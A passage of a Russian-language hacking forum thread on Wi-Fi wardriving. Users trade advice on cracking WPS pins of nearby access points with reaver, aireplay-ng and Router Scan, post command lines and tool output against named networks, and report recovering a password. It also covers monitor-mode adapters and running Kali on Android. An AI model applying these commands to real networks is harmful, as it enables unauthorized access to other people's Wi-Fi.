[Wi-Fi, BT] Задай вопрос - получи ответ!

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by user100, 25 Apr 2015.

  1. aka_google

    aka_google Well-Known Member

    Joined:
    8 Jan 2010
    Messages:
    276
    Likes Received:
    1,751
    Reputations:
    2
    сервер статистики буксует , но по траффику увидят сколько пользовался , как сказал hydra платить придётся , но всё от суммы конечно зависит
     
    quite gray likes this.
  2. wlk2

    wlk2 New Member

    Joined:
    9 Apr 2019
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
    Почему-то не получается через reaver добыть пароль, зависает на сообщении Found packet with bad FCS.
    На двух точках выловил пины, использовать которые пошел в RS, на третьей даже до пина не добрался всё из-за той же ошибки:

    Code:
    root@kali:~# aireplay-ng -1 0 -a 6C:3B:6B:A2:EE:52 wlan0mon
    No source MAC (-h) specified. Using the device MAC (11:FE:ED:32:EF:58)
    10:57:05  Waiting for beacon frame (BSSID: 6C:3B:6B:A2:EE:52) on channel 4
    
    10:57:06  Sending Authentication Request (Open System)
    
    10:57:08  Sending Authentication Request (Open System)
    10:57:08  Authentication successful
    10:57:08  Sending Association Request
    
    10:57:13  Sending Authentication Request (Open System)
    
    10:57:15  Sending Authentication Request (Open System)
    10:57:15  Authentication successful
    10:57:15  Sending Association Request [ACK]
    10:57:15  Association successful :-) (AID: 1)
    
    root@kali:~# reaver -A -K -N -S -b 6C:3B:6B:A2:EE:52 -i wlan0mon
    
    Reaver v1.6.5 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
    
    [+] Waiting for beacon from 6C:3B:6B:A2:EE:52
    [+] Received beacon from 6C:3B:6B:A2:EE:52
    [+] Associated with 6C:3B:6B:A2:EE:52 (ESSID: KIDZ)
    [!] Found packet with bad FCS, skipping...
     
    #5242 wlk2, 14 Apr 2019
    Last edited: 14 Apr 2019
  3. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,291
    Likes Received:
    8,558
    Reputations:
    113
    Я не понимаю, какой смысл использовать reaver, когда весь этот функционал в Router Scan есть, и можно добывать точки по WPS не отходя от кассы (не перезагружаясь в Linux) ?
     
    quite gray and Payer like this.
  4. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    907
    Likes Received:
    1,392
    Reputations:
    18
    Bad FCS (Frame Checksum) - битый пакет, не страшно.
    До пина не доберетесь на этой точке, ибо 6c:3b:6b = Mikrotik Routerboard, у них wps только по нажатию кнопки, пин-кода там нет.
     
  5. wlk2

    wlk2 New Member

    Joined:
    9 Apr 2019
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
    Через reaver я добыл два пина, после того как не смог этого сделать в RS:

    Code:
    [*] Associating with AP...
    [-] Association failed.
    [*] Associating with AP...
    [+] Associated with FC:F5:28:66:44:9A (ESSID: Anena).
    [*] Waiting for pin ""...
    [*] Sending EAPOL Start...
    [*] Received Identity Request.
    [*] Sending Identity Response...
    [*] Received WPS Start.
    [*] Sending WPS Message M1...
    [*] PKE: BB5A0B3E25DC09D5ADE7823DE10BA96BA597EE7244349D0465802D29601C4395BA3A1F6A4F082461D9AEDA93106762DB10DC6384B1E306701C0C3BEA0D8B63797304ACF33043210037CCA2CD50BDFEA1665320616D91601A53EC6F49C89EFAF6F9A681533AAB1764E938472DB7D02D3F34AA4D7CEB21210FF62E619C6D38BA3CD58D304A6CE7D6C601FCA5EB142C0A481A01BAAE4AE714FF8364A9A80247C802FB1D9D21D4E7D382851107B0EDF3AD3F5CA01F848934F9FE8E8DD7E2A4289375
    [*] Received WPS Message M2D.
    [*] R-Nonce: DF72D3B20C59693799A960AD087CC877
    [*] Manufacturer: ZyXEL Communications Corp.
    [*] Model Name: Home Internet Center
    [*] Model Number: KEENETIC series
    [*] Serial Number: none
    [*] Device Name: ZyXEL Internet Center
    [-] This AP is not able to service enrollee right now.
    [*] Sending WSC NACK...
    [*] EAP session closed.
    [*] Waiting for pin ""...
    [*] Sending EAPOL Start...
    [*] Received Identity Request.
    [*] Sending Identity Response...
    [*] Received WPS Start.
    [*] Sending WPS Message M1...
    [*] PKE: D91D3629F0CBACC1CAC748F7C72C082E45DB47D3751938ED90EBE251ECA9C025887E8F3179B80C538CBA89A5D116CA9A61373A88451855792B329E8AF330327DB08CD557B9DFD2A30AF71C993A835F6F805E93A4446FA9F7922B067A8EF4D18D7E3551338C33E64F1211AB84EED64A747D2F08FE901DAE5009F0DC6C433F218D4A7EF56E9071F03BF845FC2E512781290D0DD0FD4EA9A51B99E99DC147ABB4FEF1335F752769B8E748E29F9B8AF9635358FECAED041440993938391B53396B4B
    [*] Received WPS Message M2D.
    [*] R-Nonce: DF72D3B20C59693799A960AD087CC877
    [-] This AP is not able to service enrollee right now.
    [*] Sending WSC NACK...
    [*] EAP session closed.
    [*] Waiting for pin ""...
    [*] Sending EAPOL Start...
    .
    Из одного из них удалось выловить пароль, второй пока не дается.
     
    #5245 wlk2, 14 Apr 2019
    Last edited: 14 Apr 2019
  6. wlk2

    wlk2 New Member

    Joined:
    9 Apr 2019
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
    Спасибо за разъяснение. Кто еще из производителей использовать пины не дает?
    И что делать если подключений к ТД нет и выловить ХШ нельзя, есть ли вариант кроме брута?
     
  7. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,291
    Likes Received:
    8,558
    Reputations:
    113
    У тебя RS WPS client в режиме Enrollee, переключи в Registrar.
     
  8. wlk2

    wlk2 New Member

    Joined:
    9 Apr 2019
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
    Это я пытался всеми возможными способами поломать WPS Mikrotik, который как оказалось не ломается :D , а документации никакой нет.


    Упарился уже ломать DIR-300, не зря его выше говнодевайсом назвали :D , теперь он сообщает WPS pin not found!

    Вот здесь нашел список пинов, насколько понимаю в RS их использовать не получится из-за ошибки доставки М4, а можно ли сделать так чтобы reaver файлик с кодами прожевал?
     
  9. roman921

    roman921 Member

    Joined:
    24 May 2015
    Messages:
    293
    Likes Received:
    22
    Reputations:
    0
    А почему beacon пакет не ловится андроидом, приходится отдельно записывать какой мак какому имени точки соответствует, можно ли андроидом еще и beacon хватать, в котором имя точки.
     
  10. VasiliyP

    VasiliyP Well-Known Member

    Joined:
    30 Aug 2011
    Messages:
    218
    Likes Received:
    367
    Reputations:
    7
    Посмотрите вывод logcat. У меня там проскакивают пары bssid + essid, соответственно можно их скриптом выковыривать. Примерно так:
    Code:
    logcat -d | perl -nle 'BEGIN{undef $/;} for(/line=bssid=\K(\S+.+?ssid=[^\n]+)/sg) {print "$1 ".unpack("H*", $2)." ($2)" if /^(\S+).+?ssid=(.+)/s}'
     
    Triton_Mgn and TOX1C like this.
  11. sawkin

    sawkin Member

    Joined:
    17 Apr 2019
    Messages:
    20
    Likes Received:
    6
    Reputations:
    0
    Здравствуйте!
    Сейчас вот планирую приобрести адаптер wi-fi но затрудняюсь в выборе модели [​IMG]. не могли бы вы подсказать какой лучше взять адаптер ?
    NETIS WF2190 usb3, fenvi fv-8801 (на базе
    Dual Band Wireless-AC 7260) или TP-LINK Archer T6E ?
     
  12. kuz

    kuz Well-Known Member

    Joined:
    10 Jun 2015
    Messages:
    421
    Likes Received:
    313
    Reputations:
    3
    Для затруднённых планирований есть отдельная профильная тема: https://forum.antichat.ru/threads/57249/page-251

    +неясно, для каких целей нужна запланированная покупка ?
     
  13. Triton_Mgn

    Triton_Mgn Well-Known Member

    Joined:
    6 Jul 2015
    Messages:
    3,377
    Likes Received:
    4,422
    Reputations:
    41
    А я че это впомнил_ ты перед Гашеком извинился? Ведь он был прав.
     
  14. kuz

    kuz Well-Known Member

    Joined:
    10 Jun 2015
    Messages:
    421
    Likes Received:
    313
    Reputations:
    3
    Не понял... Прав он в чём был ? :eek:
     
  15. Triton_Mgn

    Triton_Mgn Well-Known Member

    Joined:
    6 Jul 2015
    Messages:
    3,377
    Likes Received:
    4,422
    Reputations:
    41
    #5255 Triton_Mgn, 18 Apr 2019
    Last edited: 18 Apr 2019
  16. kuz

    kuz Well-Known Member

    Joined:
    10 Jun 2015
    Messages:
    421
    Likes Received:
    313
    Reputations:
    3
    1) не в мониторе дело, но раз уж дал ссылку, то снизойди прочесть мой пост ниже (на который швейк тихо промолчал в ответ);
    2) у тебя лично есть этот свисток ? как дела ?))
    3) путём танцев с разными бубнами и установкой разных дров я получил некоторый результат - под последним кали монитор мод заработал, показал сетей в ДВА раза меньше встроенного адаптера и ... отвалился. Под wifislax (4.12 и 2.0x64) не завёлся вообще.

    Вывод1: тот свисток на 100% НЕ ПРИГОДНЫЙ для вардрайва под линухами, особенно под Live. Вывод2: не нужно боготворить пероснажей с 100500 репутацией и якобы опробованными 100500 адаптерами.
     
  17. roman921

    roman921 Member

    Joined:
    24 May 2015
    Messages:
    293
    Likes Received:
    22
    Reputations:
    0
    Хочу установить кали на андроид, прокатит ли вариант просто через linuxdeploy, далее хочу подключить альфу и ее ловить хэндшейки и ривер использовать. Будет ли все это работать именно в образе кали, который создает linux deploy ?
     
  18. Payer

    Payer Elder - Старейшина

    Joined:
    14 May 2010
    Messages:
    873
    Likes Received:
    3,568
    Reputations:
    49
    Будет, но не взлетит альфа. Драйвера альфы нужны в андроиде.
     
    seostock and hydra like this.
  19. roman921

    roman921 Member

    Joined:
    24 May 2015
    Messages:
    293
    Likes Received:
    22
    Reputations:
    0
    А их вроде нету ? То есть если на андроид, то только net hunter прошивать ?
    А как оно тогда будет работать, встроенный ведь врят ли умеет переводиться в режим монитора.
     
  20. Triton_Mgn

    Triton_Mgn Well-Known Member

    Joined:
    6 Jul 2015
    Messages:
    3,377
    Likes Received:
    4,422
    Reputations:
    41
    Я себе заказал такой https://ru.aliexpress.com/item/KuWf...131.html?spm=a2g0s.9042311.0.0.749033ed5RNzPI
    На чипе 8812AU, посмотрим поедет ли.
     
    Payer and seostock like this.
Loading...